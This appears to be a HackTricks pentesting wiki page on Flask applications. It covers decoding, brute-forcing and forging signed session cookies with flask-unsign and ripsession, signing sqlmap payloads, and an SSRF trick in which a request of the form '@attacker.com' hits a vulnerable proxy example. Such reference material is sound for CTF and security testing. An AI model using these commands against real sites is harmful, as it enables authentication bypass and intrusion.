hacktricks/network-services-pentesting/pentesting-web/flask.md

# Flask

<details>

<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>

* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).

</details>

<figure><img src="../../.gitbook/assets/image (9) (1) (2).png" alt=""><figcaption></figcaption></figure>

Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
Get Access Today:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

**Probably if you are playing a CTF a Flask application will be related to** [**SSTI**](../../pentesting-web/ssti-server-side-template-injection/)**.**

## Cookies

Default cookie session name is **`session`**.

### Decoder

Online Flask coockies decoder: [https://www.kirsle.net/wizards/flask-session.cgi](https://www.kirsle.net/wizards/flask-session.cgi)

#### Manual

Get the first part of the cookie until the first point and Base64 decode it>

```bash
echo "ImhlbGxvIg" | base64 -d
```

The cookie is also signed using a password

### **Flask-Unsign**

Command line tool to fetch, decode, brute-force and craft session cookies of a Flask application by guessing secret keys.

{% embed url="https://pypi.org/project/flask-unsign/" %}

```bash
pip3 install flask-unsign
```

#### **Decode Cookie**

```bash
flask-unsign --decode --cookie 'eyJsb2dnZWRfaW4iOmZhbHNlfQ.XDuWxQ.E2Pyb6x3w-NODuflHoGnZOEpbH8'
```

#### **Brute Force**

```bash
flask-unsign --wordlist /usr/share/wordlists/rockyou.txt --unsign --cookie '<cookie>' --no-literal-eval
```

#### **Signing**

```bash
flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME'
```

#### Signing using legacy (old versions)

```bash
flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME' --legacy
```

### **RIPsession**

Command line tool to brute-force websites using cookies crafted with flask-unsign.

{% embed url="https://github.com/Tagvi/ripsession" %}

```bash
  ripsession -u 10.10.11.100 -c "{'logged_in': True, 'username': 'changeMe'}" -s password123 -f "user doesn't exist" -w wordlist.txt
```

### SQLi in Flask session cookie with SQLmap

[**This example**](../../pentesting-web/sql-injection/sqlmap/#eval) uses sqlmap `eval` option to **automatically sign sqlmap payloads** for flask using a known secret.

## Flask Proxy to SSRF

[**In this writeup**](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies) it's explained how Flask allows a request starting with the charcter "@":

```http
GET @/ HTTP/1.1
Host: target.com
Connection: close
```

Which in the following scenario:

```python
from flask import Flask
from requests import get

app = Flask('__main__')
SITE_NAME = 'https://google.com/'

@app.route('/', defaults={'path': ''})
@app.route('/<path:path>')
def proxy(path):
  return get(f'{SITE_NAME}{path}').content

app.run(host='0.0.0.0', port=8080)
```

Could allow to introduce something like "@attacker.com" in order to cause a **SSRF**.



<figure><img src="../../.gitbook/assets/image (9) (1) (2).png" alt=""><figcaption></figcaption></figure>

Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
Get Access Today:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

<details>

<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>

* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).

</details>